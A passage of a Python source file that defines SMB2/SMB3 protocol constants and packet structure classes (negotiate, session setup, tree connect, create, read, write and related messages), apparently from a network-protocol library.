0x02000000 # This value indicates that the client is requesting an open to the file with the highest level of access the client has on this file. If no access is granted for the client on this file, the server MUST fail the open with STATUS_ACCESS_DENIED.\nGENERIC_ALL             = 0x10000000 # This value indicates a request for all the access flags that are previously listed except MAXIMUM_ALLOWED and ACCESS_SYSTEM_SECURITY.\nGENERIC_EXECUTE         = 0x20000000 # This value indicates a request for the following combination of access flags listed above: FILE_READ_ATTRIBUTES| FILE_EXECUTE| SYNCHRONIZE| READ_CONTROL.\nGENERIC_WRITE           = 0x40000000 # This value indicates a request for the following combination of access flags listed above: FILE_WRITE_DATA| FILE_APPEND_DATA| FILE_WRITE_ATTRIBUTES| FILE_WRITE_EA| SYNCHRONIZE| READ_CONTROL.\nGENERIC_READ            = 0x80000000 # This value indicates a request for the following combination of access flags listed above: FILE_READ_DATA| FILE_READ_ATTRIBUTES| FILE_REA\n\n# Directory Access Mask \nFILE_LIST_DIRECTORY    = 0x00000001\nFILE_ADD_FILE          = 0x00000002\nFILE_ADD_SUBDIRECTORY  = 0x00000004\nFILE_TRAVERSE          = 0x00000020\nFILE_DELETE_CHILD      = 0x00000040\n\n# Create Contexts\nSMB2_CREATE_EA_BUFFER                     = 0x45787441\nSMB2_CREATE_SD_BUFFER                     = 0x53656344\nSMB2_CREATE_DURABLE_HANDLE_REQUEST        = 0x44486e51\nSMB2_CREATE_DURABLE_HANDLE_RECONNECT      = 0x44486e43\nSMB2_CREATE_ALLOCATION_SIZE               = 0x416c5369\nSMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST  = 0x4d784163\nSMB2_CREATE_TIMEWARP_TOKEN                = 0x54577270\nSMB2_CREATE_QUERY_ON_DISK_ID              = 0x51466964\nSMB2_CREATE_REQUEST                       = 0x52714c73\nSMB2_CREATE_REQUEST_LEASE_V2              = 0x52714c73\nSMB2_CREATE_DURABLE_HANDLE_REQUEST_V2     = 0x44483251\nSMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2   = 0x44483243\nSMB2_CREATE_APP_INSTANCE_ID               = 0x45BCA66AEFA7F74A9008FA462E144D74\n\n# Flags\nSMB2_CREATE_FLAG_REPARSEPOINT  = 0x1\nFILE_NEED_EA                   = 0x80\n\n# CreateAction\nFILE_SUPERSEDED    = 0x00000000\nFILE_OPENED        = 0x00000001\nFILE_CREATED       = 0x00000002\nFILE_OVERWRITTEN   = 0x00000003\n\n# SMB2_CREATE_REQUEST_LEASE states\nSMB2_LEASE_NONE            = 0x00\nSMB2_LEASE_READ_CACHING    = 0x01\nSMB2_LEASE_HANDLE_CACHING  = 0x02\nSMB2_LEASE_WRITE_CACHING   = 0x04\n\n# SMB2_CREATE_REQUEST_LEASE_V2 Flags\nSMB2_LEASE_FLAG_PARENT_LEASE_KEY_SET = 0x4\n\n# SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2 Flags\nSMB2_DHANDLE_FLAG_PERSISTENT = 0x02\n\n# SMB2_CLOSE\n# Flags\nSMB2_CLOSE_FLAG_POSTQUERY_ATTRIB  = 0x0001\n\n# SMB2_READ\n# Channel\nSMB2_CHANNEL_NONE     = 0x00\nSMB2_CHANNEL_RDMA_V1  = 0x01\n\n# SMB2_WRITE\n# Flags\nSMB2_WRITEFLAG_WRITE_THROUGH = 0x01\n\n# Lease Break Notification\nSMB2_NOTIFY_BREAK_LEASE_FLAG_ACK_REQUIRED  = 0x01\n\n# SMB_LOCK\n# Flags\nSMB2_LOCKFLAG_SHARED_LOCK       = 0x01\nSMB2_LOCKFLAG_EXCLUSIVE_LOCK    = 0x02\nSMB2_LOCKFLAG_UNLOCK            = 0x04\nSMB2_LOCKFLAG_FAIL_IMMEDIATELY  = 0x10\n\n# SMB IOCTL\n# Control Codes\nFSCTL_DFS_GET_REFERRALS              = 0x00060194\nFSCTL_PIPE_PEEK                      = 0x0011400C\nFSCTL_PIPE_WAIT                      = 0x00110018\nFSCTL_PIPE_TRANSCEIVE                = 0x0011C017\nFSCTL_SRV_COPYCHUNK                  = 0x001440F2\nFSCTL_SRV_ENUMERATE_SNAPSHOTS        = 0x00144064\nFSCTL_SRV_REQUEST_RESUME_KEY         = 0x00140078\nFSCTL_SRV_READ_HASH                  = 0x001441bb\nFSCTL_SRV_COPYCHUNK_WRITE            = 0x001480F2\nFSCTL_LMR_REQUEST_RESILIENCY         = 0x001401D4\nFSCTL_QUERY_NETWORK_INTERFACE_INFO   = 0x001401FC\nFSCTL_SET_REPARSE_POINT              = 0x000900A4\nFSCTL_DELETE_REPARSE_POINT           = 0x000900AC\nFSCTL_DFS_GET_REFERRALS_EX           = 0x000601B0\nFSCTL_FILE_LEVEL_TRIM                = 0x00098208\nFSCTL_VALIDATE_NEGOTIATE_INFO        = 0x00140204\n\n# Flags\nSMB2_0_IOCTL_IS_FSCTL  = 0x1\n\n# SRV_READ_HASH\n# Type\nSRV_HASH_TYPE_PEER_DIST  = 0x01\n\n# Version\nSRV_HASH_VER_1  = 0x1\nSRV_HASH_VER_2  = 0x2\n\n# Retrieval Type\nSRV_HASH_RETRIEVE_HASH_BASED  = 0x01\nSRV_HASH_RETRIEVE_FILE_BASED  = 0x02\n\n# NETWORK_INTERFACE_INFO\n# Capabilities\nRSS_CAPABLE  = 0x01\nRDMA_CAPABLE = 0x02\n\n# SMB2_QUERY_DIRECTORIES\n# Information Class\nFILE_DIRECTORY_INFORMATION         = 0x01\nFILE_FULL_DIRECTORY_INFORMATION    = 0x02\nFILEID_FULL_DIRECTORY_INFORMATION  = 0x26\nFILE_BOTH_DIRECTORY_INFORMATION    = 0x03\nFILEID_BOTH_DIRECTORY_INFORMATION  = 0x25\nFILENAMES_INFORMATION              = 0x0C\n\n# Flags\nSMB2_RESTART_SCANS        = 0x01\nSMB2_RETURN_SINGLE_ENTRY  = 0x02\nSMB2_INDEX_SPECIFIED      = 0x04\nSMB2_REOPEN               = 0x10\n\n# SMB2_CHANGE_NOTIFY\n# Flags\nSMB2_WATCH_TREE  = 0x01\n\n# Filters\nFILE_NOTIFY_CHANGE_FILE_NAME     = 0x00000001\nFILE_NOTIFY_CHANGE_DIR_NAME      = 0x00000002\nFILE_NOTIFY_CHANGE_ATTRIBUTES    = 0x00000004\nFILE_NOTIFY_CHANGE_SIZE          = 0x00000008\nFILE_NOTIFY_CHANGE_LAST_WRITE    = 0x00000010\nFILE_NOTIFY_CHANGE_LAST_ACCESS   = 0x00000020\nFILE_NOTIFY_CHANGE_CREATION      = 0x00000040\nFILE_NOTIFY_CHANGE_EA            = 0x00000080\nFILE_NOTIFY_CHANGE_SECURITY      = 0x00000100\nFILE_NOTIFY_CHANGE_STREAM_NAME   = 0x00000200\nFILE_NOTIFY_CHANGE_STREAM_SIZE   = 0x00000400\nFILE_NOTIFY_CHANGE_STREAM_WRITE  = 0x00000800\n\n# FILE_NOTIFY_INFORMATION\n# Actions\nFILE_ACTION_ADDED            = 0x00000001\nFILE_ACTION_REMOVED          = 0x00000002\nFILE_ACTION_MODIFIED         = 0x00000003\nFILE_ACTION_RENAMED_OLD_NAME = 0x00000004\nFILE_ACTION_RENAMED_NEW_NAME = 0x00000005\n\n# SMB2_QUERY_INFO\n# InfoTypes\nSMB2_0_INFO_FILE        = 0x01\nSMB2_0_INFO_FILESYSTEM  = 0x02\nSMB2_0_INFO_SECURITY    = 0x03\nSMB2_0_INFO_QUOTA       = 0x04\n\n# File Information Classes\nSMB2_SEC_INFO_00                      = 0\nSMB2_FILE_ACCESS_INFO                 = 8\nSMB2_FILE_ALIGNMENT_INFO              = 17\nSMB2_FILE_ALL_INFO                    = 18\nSMB2_FILE_ALLOCATION_INFO             = 19\nSMB2_FILE_ALTERNATE_NAME_INFO         = 21\nSMB2_ATTRIBUTE_TAG_INFO               = 35\nSMB2_FILE_BASIC_INFO                  = 4\nSMB2_FILE_BOTH_DIRECTORY_INFO         = 3\nSMB2_FILE_COMPRESSION_INFO            = 28\nSMB2_FILE_DIRECTORY_INFO              = 1\nSMB2_FILE_DISPOSITION_INFO            = 13\nSMB2_FILE_EA_INFO                     = 7\nSMB2_FILE_END_OF_FILE_INFO            = 20\nSMB2_FULL_DIRECTORY_INFO              = 2\nSMB2_FULL_EA_INFO                     = 15\nSMB2_FILE_HARDLINK_INFO               = 46\nSMB2_FILE_ID_BOTH_DIRECTORY_INFO      = 37\nSMB2_FILE_ID_FULL_DIRECTORY_INFO      = 38\nSMB2_FILE_ID_GLOBAL_TX_DIRECTORY_INFO = 50\nSMB2_FILE_INTERNAL_INFO               = 6\nSMB2_FILE_LINK_INFO                   = 11\nSMB2_FILE_MAILSLOT_QUERY_INFO         = 26\nSMB2_FILE_MAILSLOT_SET_INFO           = 27\nSMB2_FILE_MODE_INFO                   = 16\nSMB2_FILE_MOVE_CLUSTER_INFO           = 31\nSMB2_FILE_NAME_INFO                   = 9\nSMB2_FILE_NAMES_INFO                  = 12\nSMB2_FILE_NETWORK_OPEN_INFO           = 34\nSMB2_FILE_NORMALIZED_NAME_INFO        = 48\nSMB2_FILE_OBJECT_ID_INFO              = 29\nSMB2_FILE_PIPE_INFO                   = 23\nSMB2_FILE_PIPE_LOCAL_INFO             = 24\nSMB2_FILE_PIPE_REMOTE_INFO            = 25\nSMB2_FILE_POSITION_INFO               = 14\nSMB2_FILE_QUOTA_INFO                  = 32\nSMB2_FILE_RENAME_INFO                 = 10\nSMB2_FILE_REPARSE_POINT_INFO          = 33\nSMB2_FILE_SFIO_RESERVE_INFO           = 44\nSMB2_FILE_SHORT_NAME_INFO             = 45\nSMB2_FILE_STANDARD_INFO               = 5\nSMB2_FILE_STANDARD_LINK_INFO          = 54\nSMB2_FILE_STREAM_INFO                 = 22\nSMB2_FILE_TRACKING_INFO               = 36\nSMB2_FILE_VALID_DATA_LENGTH_INFO      = 39\n\n# File System Information Classes\nSMB2_FILESYSTEM_VOLUME_INFO           = 1\nSMB2_FILESYSTEM_LABEL_INFO            = 2\nSMB2_FILESYSTEM_SIZE_INFO             = 3\nSMB2_FILESYSTEM_DEVICE_INFO           = 4\nSMB2_FILESYSTEM_ATTRIBUTE_INFO        = 5\nSMB2_FILESYSTEM_CONTROL_INFO          = 6\nSMB2_FILESYSTEM_FULL_SIZE_INFO        = 7\nSMB2_FILESYSTEM_OBJECT_ID_INFO        = 8\nSMB2_FILESYSTEM_DRIVER_PATH_INFO      = 9\nSMB2_FILESYSTEM_SECTOR_SIZE_INFO      = 11\n\n# Additional information\nOWNER_SECURITY_INFORMATION  = 0x00000001\nGROUP_SECURITY_INFORMATION  = 0x00000002\nDACL_SECURITY_INFORMATION   = 0x00000004\nSACL_SECURITY_INFORMATION   = 0x00000008\nLABEL_SECURITY_INFORMATION  = 0x00000010\n\n# Flags\nSL_RESTART_SCAN         = 0x00000001\nSL_RETURN_SINGLE_ENTRY  = 0x00000002\nSL_INDEX_SPECIFIED      = 0x00000004\n\n# TRANSFORM_HEADER\nSMB2_ENCRYPTION_AES128_CCM = 0x0001\nSMB2_ENCRYPTION_AES128_GCM = 0x0002\n\n\n# STRUCtures\n# Represents a SMB2/3 Packet\nclass SMBPacketBase(Structure):\n    def addCommand(self,command):\n        # Pad to 8 bytes and put the offset of another SMBPacket\n        raise Exception('Implement This!')\n\n    def isValidAnswer(self, status):\n        if self['Status'] != status:\n            from . import smb3\n            raise smb3.SessionError(self['Status'], self)\n        return True\n\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['TreeID'] = 0\n\n\nclass SMB2PacketAsync(SMBPacketBase):\n    structure = (\n        ('ProtocolID','\"\\xfeSMB'),\n        ('StructureSize','<H=64'),\n        ('CreditCharge','<H=0'),\n        ('Status','<L=0'),\n        ('Command','<H=0'),\n        ('CreditRequestResponse','<H=0'),\n        ('Flags','<L=0'),\n        ('NextCommand','<L=0'),\n        ('MessageID','<Q=0'),\n        ('AsyncID','<Q=0'),\n        ('SessionID','<Q=0'),\n        ('Signature','16s=\"\"'),\n        ('Data',':=\"\"'),\n    )\n\nclass SMB3PacketAsync(SMBPacketBase):\n    structure = (\n        ('ProtocolID','\"\\xfeSMB'),\n        ('StructureSize','<H=64'),\n        ('CreditCharge','<H=0'),\n        ('ChannelSequence','<H=0'),\n        ('Reserved','<H=0'),\n        ('Command','<H=0'),\n        ('CreditRequestResponse','<H=0'),\n        ('Flags','<L=0'),\n        ('NextCommand','<L=0'),\n        ('MessageID','<Q=0'),\n        ('AsyncID','<Q=0'),\n        ('SessionID','<Q=0'),\n        ('Signature','16s=\"\"'),\n        ('Data',':=\"\"'),\n    )\n\nclass SMB2Packet(SMBPacketBase):\n    structure = (\n        ('ProtocolID','\"\\xfeSMB'),\n        ('StructureSize','<H=64'),\n        ('CreditCharge','<H=0'),\n        ('Status','<L=0'),\n        ('Command','<H=0'),\n        ('CreditRequestResponse','<H=0'),\n        ('Flags','<L=0'),\n        ('NextCommand','<L=0'),\n        ('MessageID','<Q=0'),\n        ('Reserved','<L=0'),\n        ('TreeID','<L=0'),\n        ('SessionID','<Q=0'),\n        ('Signature','16s=\"\"'),\n        ('Data',':=\"\"'),\n    )\n\nclass SMB3Packet(SMBPacketBase):\n    structure = (\n        ('ProtocolID','\"\\xfeSMB'),\n        ('StructureSize','<H=64'),\n        ('CreditCharge','<H=0'),\n        ('ChannelSequence','<H=0'),\n        ('Reserved','<H=0'),\n        ('Command','<H=0'),\n        ('CreditRequestResponse','<H=0'),\n        ('Flags','<L=0'),\n        ('NextCommand','<L=0'),\n        ('MessageID','<Q=0'),\n        ('Reserved','<L=0'),\n        ('TreeID','<L=0'),\n        ('SessionID','<Q=0'),\n        ('Signature','16s=\"\"'),\n        ('Data',':=\"\"'),\n    )\n\n\nclass Empty(Structure):\n    pass\nclass SMB2Error(Structure):\n    structure = (\n        ('StructureSize','<H=9'),\n        ('Reserved','<H=0'),\n        ('ByteCount','<L=0'),\n        ('_ErrorData','_-ErrorData','self[\"ByteCount\"]'),\n        ('ErrorData','\"\\xff'),\n    )\n\nclass SMB2ErrorSymbolicLink(Structure):\n    structure = (\n        ('SymLinkLength','<L=0'),\n        ('SymLinkErrorTag','<L=0'),\n        ('ReparseTag','<L=0'),\n        ('ReparseDataLenght','<H=0'),\n        ('UnparsedPathLength','<H=0'),\n        ('SubstituteNameOffset','<H=0'),\n        ('SubstituteNameLength','<H=0'),\n        ('PrintNameOffset','<H=0'),\n        ('PrintNameLength','<H=0'),\n        ('Flags','<L=0'),\n        ('PathBuffer',':'),\n    )\n\n# SMB2_NEGOTIATE\nclass SMB2Negotiate(Structure):\n    structure = (\n        ('StructureSize','<H=36'),\n        ('DialectCount','<H=0'),\n        ('SecurityMode','<H=0'),\n        ('Reserved','<H=0'),\n        ('Capabilities','<L=0'),\n        ('ClientGuid','16s=\"\"'),\n        ('ClientStartTime','8s=\"\"'),  # or (NegotiateContextOffset/NegotiateContextCount/Reserved2) in SMB 3.1.1\n        ('Dialects','*<H'),\n        # SMB 3.1.1\n        ('Padding',':=\"\"'),\n        ('NegotiateContextList',':=\"\"'),\n    )\n\nclass SMB311ContextData(Structure):\n    structure = (\n        ('NegotiateContextOffset','<L=0'),\n        ('NegotiateContextCount','<H=0'),\n        ('Reserved2','<H=0'),\n    )\nclass SMB2Negotiate_Response(Structure):\n    structure = (\n        ('StructureSize','<H=65'),\n        ('SecurityMode','<H=0'),\n        ('DialectRevision','<H=0'),\n        # SMB 3.1.1 only. Otherwise Reserved\n        ('NegotiateContextCount','<H=0'),\n        ('ServerGuid','16s=\"\"'),\n        ('Capabilities','<L=0'),\n        ('MaxTransactSize','<L=0'),\n        ('MaxReadSize','<L=0'),\n        ('MaxWriteSize','<L=0'),\n        ('SystemTime','<Q=0'),\n        ('ServerStartTime','<Q=0'),\n        ('SecurityBufferOffset','<H=0'),\n        ('SecurityBufferLength','<H=0'),\n        # SMB 3.1.1 only. Otherwise Reserved\n        ('NegotiateContextOffset','<L=0'),\n        ('_AlignPad','_-AlignPad','self[\"SecurityBufferOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"SecurityBufferLength\"]'),\n        ('Buffer',':'),\n        ('_Padding','_-Padding', '0 if self[\"NegotiateContextOffset\"] == 0 else (self[\"NegotiateContextOffset\"] - '\n                                 'self[\"SecurityBufferOffset\"] - self[\"SecurityBufferLength\"])'),\n        ('Padding',':=\"\"'),\n        ('_NegotiateContextList','_-NegotiateContextList', '0 if self[\"NegotiateContextOffset\"] == 0 else '\n                                                           'len(self.rawData)-self[\"NegotiateContextOffset\"]+64'),\n        ('NegotiateContextList',':=\"\"'),\n    )\n\n# SMB2 NEGOTIATE_CONTEXT\nclass SMB2NegotiateContext(Structure):\n    structure = (\n        ('ContextType','<H=0'),\n        ('DataLength','<H=0'),\n        ('Reserved','<L=0'),\n        ('_Data', '_-Data', 'self[\"DataLength\"]'),\n        ('Data',':=\"\"'),\n    )\n\n# SMB2_PREAUTH_INTEGRITY_CAPABILITIES\nclass SMB2PreAuthIntegrityCapabilities(Structure):\n    structure = (\n        ('HashAlgorithmCount','<H=0'),\n        ('SaltLength','<H=0'),\n        ('_HashAlgorithms', '_-HashAlgorithms', 'self[\"HashAlgorithmCount\"]*2'),\n        ('HashAlgorithms',':=\"\"'),\n        ('Salt',':=\"\"'),\n    )\n\n# SMB2_ENCRYPTION_CAPABILITIES\nclass SMB2EncryptionCapabilities(Structure):\n    structure = (\n        ('CipherCount','<H=0'),\n        ('Ciphers',':=\"\"'),\n    )\n\n# SMB2_COMPRESSION_CAPABILITIES\nclass SMB2CompressionCapabilities(Structure):\n    structure = (\n        ('CompressionAlgorithmCount','<H=0'),\n        ('Padding','<H=0'),\n        ('Flags','<L=0'),\n        ('CompressionAlgorithms',':=\"\"'),\n    )\n\n# SMB2_NETNAME_NEGOTIATE_CONTEXT_ID\nclass SMB2NetNameNegotiateContextID(Structure):\n    structure = (\n        ('NetName',':=\"\"'),\n    )\n\n# SMB2_SESSION_SETUP\nclass SMB2SessionSetup(Structure):\n    SIZE = 24\n    structure = (\n        ('StructureSize','<H=25'),\n        ('Flags','<B=0'),\n        ('SecurityMode','<B=0'),\n        ('Capabilities','<L=0'),\n        ('Channel','<L=0'),\n        ('SecurityBufferOffset','<H=(self.SIZE + 64 + len(self[\"AlignPad\"]))'),\n        ('SecurityBufferLength','<H=0'),\n        ('PreviousSessionId','<Q=0'),\n        ('_AlignPad','_-AlignPad','self[\"SecurityBufferOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"SecurityBufferLength\"]'),\n        ('Buffer',':'),\n    )\n\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\n    def getData(self):\n        #self['AlignPad'] = '\\x00' * ((8 - ((24 + SMB2_PACKET_SIZE) & 7)) & 7)\n        #self['SecurityBufferOffset'] = 24 + SMB2_PACKET_SIZE +len(self['AlignPad'])\n        #self['SecurityBufferLength'] += len(self['AlignPad'])\n        return Structure.getData(self)\n\n\nclass SMB2SessionSetup_Response(Structure):\n    structure = (\n        ('StructureSize','<H=9'),\n        ('SessionFlags','<H=0'),\n        ('SecurityBufferOffset','<H=0'),\n        ('SecurityBufferLength','<H=0'),\n        ('_AlignPad','_-AlignPad','self[\"SecurityBufferOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"SecurityBufferLength\"]'),\n        ('Buffer',':'),\n    )\n\n# SMB2_LOGOFF\nclass SMB2Logoff(Structure):\n    structure = (\n        ('StructureSize','<H=4'),\n        ('Reserved','<H=0'),\n    )\n\n\nclass SMB2Logoff_Response(Structure):\n    structure = (\n        ('StructureSize','<H=4'),\n        ('Reserved','<H=0'),\n    )\n\n# SMB2_TREE_CONNECT\nclass SMB2TreeConnect(Structure):\n    SIZE = 8\n    structure = (\n        ('StructureSize','<H=9'),\n        ('Reserved','<H=0'),\n        ('PathOffset','<H=(self.SIZE + 64 + len(self[\"AlignPad\"]))'),\n        ('PathLength','<H=0'),\n        ('_AlignPad','_-AlignPad','self[\"PathOffset\"] - (64 + self.SIZE - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"PathLength\"]'),\n        ('Buffer',':'),\n    )\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\nclass SMB2TreeConnect_Response(Structure):\n    structure = (\n        ('StructureSize','<H=16'),\n        ('ShareType','<B=0'),\n        ('Reserved','<B=0'),\n        ('ShareFlags','<L=0'),\n        ('Capabilities','<L=0'),\n        ('MaximalAccess','<L=0'),\n    )\n\n# SMB2_TREE_DISCONNECT\nclass SMB2TreeDisconnect(Structure):\n    structure = (\n        ('StructureSize','<H=4'),\n        ('Reserved','<H=0'),\n    )\n\nclass SMB2TreeDisconnect_Response(Structure):\n    structure = (\n        ('StructureSize','<H=4'),\n        ('Reserved','<H=0'),\n    )\n\n# SMB2_CREATE\nclass SMB2Create(Structure):\n    SIZE = 56\n    structure = (\n        ('StructureSize','<H=57'),\n        ('SecurityFlags','<B=0'),\n        ('RequestedOplockLevel','<B=0'),\n        ('ImpersonationLevel','<L=0'),\n        ('SmbCreateFlags','<Q=0'),\n        ('Reserved','<Q=0'),\n        ('DesiredAccess','<L=0'),\n        ('FileAttributes','<L=0'),\n        ('ShareAccess','<L=0'),\n        ('CreateDisposition','<L=0'),\n        ('CreateOptions','<L=0'),\n        ('NameOffset','<H=(self.SIZE + 64 + len(self[\"AlignPad\"]))'),\n        ('NameLength','<H=0'),\n        ('CreateContextsOffset','<L=0'),\n        ('CreateContextsLength','<L=0'),\n        ('_AlignPad','_-AlignPad','self[\"NameOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"CreateContextsLength\"]+self[\"NameLength\"]'),\n        ('Buffer',':'),\n    )\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\nclass SMB2CreateContext(Structure):\n     structure = (\n         ('Next','<L=0'),\n         ('NameOffset','<H=0'),\n         ('NameLength','<H=0'),\n         ('Reserved','<H=0'),\n         ('DataOffset','<H=0'),\n         ('DataLength','<L=0'),\n         ('_Buffer','_-Buffer','self[\"DataLength\"]+self[\"NameLength\"]'),\n         ('Buffer',':'),\n     )\n\nclass SMB2_FILEID(Structure):\n    structure = (\n        ('Persistent','<Q=0'),\n        ('Volatile','<Q=0'),\n    )\n\nclass SMB2Create_Response(Structure):\n    structure = (\n        ('StructureSize','<H=89'),\n        ('OplockLevel','<B=0'),\n        ('Flags','<B=0'),\n        ('CreateAction','<L=0'),\n        ('CreationTime','<Q=0'),\n        ('LastAccessTime','<Q=0'),\n        ('LastWriteTime','<Q=0'),\n        ('ChangeTime','<Q=0'),\n        ('AllocationSize','<Q=0'),\n        ('EndOfFile','<Q=0'),\n        ('FileAttributes','<L=0'),\n        ('Reserved2','<L=0'),\n        ('FileID',':',SMB2_FILEID),\n        ('CreateContextsOffset','<L=0'),\n        ('CreateContextsLength','<L=0'),\n        ('_AlignPad','_-AlignPad','self[\"CreateContextsOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"CreateContextsLength\"]'),\n        ('Buffer',':'),\n    )\n\nclass FILE_FULL_EA_INFORMATION(Structure):\n    structure = (\n        ('NextEntryOffset','<L=0'),\n        ('Flags','<B=0'),\n        ('EaNameLength','<B=0'),\n        ('EaValueLength','<H=0'),\n        ('_EaName','_-EaName','self[\"EaNameLength\"]'),\n        ('EaName',':'),\n        ('_EaValue','_-EaValue','self[\"EaValue\"]'),\n        ('EaValue',':'),\n    )\n\n\nclass SMB2_CREATE_DURABLE_HANDLE_RECONNECT(Structure):\n    structure = (\n        ('Data',':',SMB2_FILEID),\n    )\n\nclass SMB2_CREATE_DURABLE_HANDLE_REQUEST(Structure):\n    structure = (\n        ('DurableRequest','16s=\"\"'),\n    )\n\nclass SMB2_CREATE_DURABLE_HANDLE_RESPONSE(Structure):\n    structure = (\n        ('Reserved','<Q=0'),\n    )\n\nclass SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST(Structure):\n    structure = (\n        ('Timestamp','<Q=0'),\n    )\n\nclass SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE(Structure):\n    structure = (\n        ('QueryStatus','<L=0'),\n        ('MaximalAccess','<L=0'),\n    )\n\nclass SMB2_CREATE_ALLOCATION_SIZE(Structure):\n    structure = (\n        ('AllocationSize','<Q=0'),\n    )\n\nclass SMB2_CREATE_TIMEWARP_TOKEN(Structure):\n    structure = (\n        ('Timestamp','<Q=0'),\n    )\n\nclass SMB2_CREATE_REQUEST_LEASE(Structure):\n    structure = (\n        ('LeaseKey','16s=\"\"'),\n        ('LeaseState','<L=0'),\n        ('LeaseFlags','<L=0'),\n        ('LeaseDuration','<Q=0'),\n    )\n\nSMB2_CREATE_RESPONSE_LEASE = SMB2_CREATE_REQUEST_LEASE\n\nclass SMB2_CREATE_REQUEST_LEASE_V2(Structure):\n    structure = (\n        ('LeaseKey','16s=\"\"'),\n        ('LeaseState','<L=0'),\n        ('Flags','<L=0'),\n        ('LeaseDuration','<Q=0'),\n        ('ParentLeaseKey','16s=\"\"'),\n        ('Epoch','<H=0'),\n        ('Reserved','<H=0'),\n    )\n\nSMB2_CREATE_RESPONSE_LEASE_V2 = SMB2_CREATE_REQUEST_LEASE_V2\n\nclass SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2(Structure):\n    structure = (\n        ('Timeout','<L=0'),\n        ('Flags','<L=0'),\n        ('Reserved','8s=\"\"'),\n        ('CreateGuid','16s=\"\"'),\n    )\n\nclass SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2(Structure):\n    structure = (\n        ('Timeout','<L=0'),\n        ('Flags','<L=0'),\n    )\n\nclass SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2(Structure):\n    structure = (\n        ('FileID',':', SMB2_FILEID),\n        ('CreateGuid','16s=\"\"'),\n        ('Flags','<L=0'),\n    )\n\nclass SMB2_CREATE_APP_INSTANCE_ID(Structure):\n    structure = (\n        ('StructureSize','<H=0'),\n        ('Reserved','<H=0'),\n        ('AppInstanceId','16s=\"\"'),\n    )\n\nclass SMB2_CREATE_QUERY_ON_DISK_ID(Structure):\n    structure = (\n        ('DiskIDBuffer','32s=\"\"'),\n    )\n\n# Todo: Add Classes for\n#SMB2_CREATE_SD_BUFFER\n\n# SMB2_CLOSE\nclass SMB2Close(Structure):\n    structure = (\n        ('StructureSize','<H=24'),\n        ('Flags','<H=0'),\n        ('Reserved','<L=0'),\n        ('FileID',':', SMB2_FILEID),\n    )\n\nclass SMB2Close_Response(Structure):\n    structure = (\n        ('StructureSize','<H=60'),\n        ('Flags','<H=0'),\n        ('Reserved','<L=0'),\n        ('CreationTime','<Q=0'),\n        ('LastAccessTime','<Q=0'),\n        ('LastWriteTime','<Q=0'),\n        ('ChangeTime','<Q=0'),\n        ('AllocationSize','<Q=0'),\n        ('EndofFile','<Q=0'),\n        ('FileAttributes','<L=0'),\n    )\n\n# SMB2_FLUSH\nclass SMB2Flush(Structure):\n    structure = (\n        ('StructureSize','<H=24'),\n        ('Reserved1','<H=0'),\n        ('Reserved2','<L=0'),\n        ('FileID',':',SMB2_FILEID),\n    )\n\nclass SMB2Flush_Response(Structure):\n    structure = (\n        ('StructureSize','<H=4'),\n        ('Reserved','<H=0'),\n    )\n\n# SMB2_READ\nclass SMB2Read(Structure):\n    SIZE = 48\n    structure = (\n        ('StructureSize','<H=49'),\n        ('Padding','<B=0'),\n        ('Reserved','<B=0'),\n        ('Length','<L=0'),\n        ('Offset','<Q=0'),\n        ('FileID',':',SMB2_FILEID),\n        ('MinimumCount','<L=0'),\n        ('Channel','<L=0'),\n        ('RemainingBytes','<L=0'),\n        ('ReadChannelInfoOffset','<H=0'),\n        ('ReadChannelInfoLength','<H=0'),\n        ('_AlignPad','_-AlignPad','self[\"ReadChannelInfoOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"ReadChannelInfoLength\"]'),\n        ('Buffer',':=\"0\"'),\n    )\n    def __init__(self, data = None):\n        Structure.__init__(self,data)\n        if data is None:\n            self['AlignPad'] = ''\n\n\nclass SMB2Read_Response(Structure):\n    structure = (\n        ('StructureSize','<H=17'),\n        ('DataOffset','<B=0'),\n        ('Reserved','<B=0'),\n        ('DataLength','<L=0'),\n        ('DataRemaining','<L=0'),\n        ('Reserved2','<L=0'),\n        ('_AlignPad','_-AlignPad','self[\"DataOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('_Buffer','_-Buffer','self[\"DataLength\"]'),\n        ('Buffer',':'),\n    )\n\n# SMB2_WRITE\nclass SMB2Write(Structure):\n    SIZE = 48\n    structure = (\n        ('StructureSize','<H=49'),\n        ('DataOffset','<H=(self.SIZE + 64 + len(self[\"AlignPad\"]))'),\n        ('Length','<L=0'),\n        ('Offset','<Q=0'),\n        ('FileID',':',SMB2_FILEID),\n        ('Channel','<L=0'),\n        ('RemainingBytes','<L=0'),\n        ('WriteChannelInfoOffset','<H=0'),\n        ('WriteChannelInfoLength','<H=0'),\n        ('_AlignPad','_-AlignPad','self[\"DataOffset\"] + self[\"WriteChannelInfoOffset\"] - (64 + self[\"StructureSize\"] - 1)'),\n        ('AlignPad',':=\"\"'),\n        ('Flags','<L=0'),\n        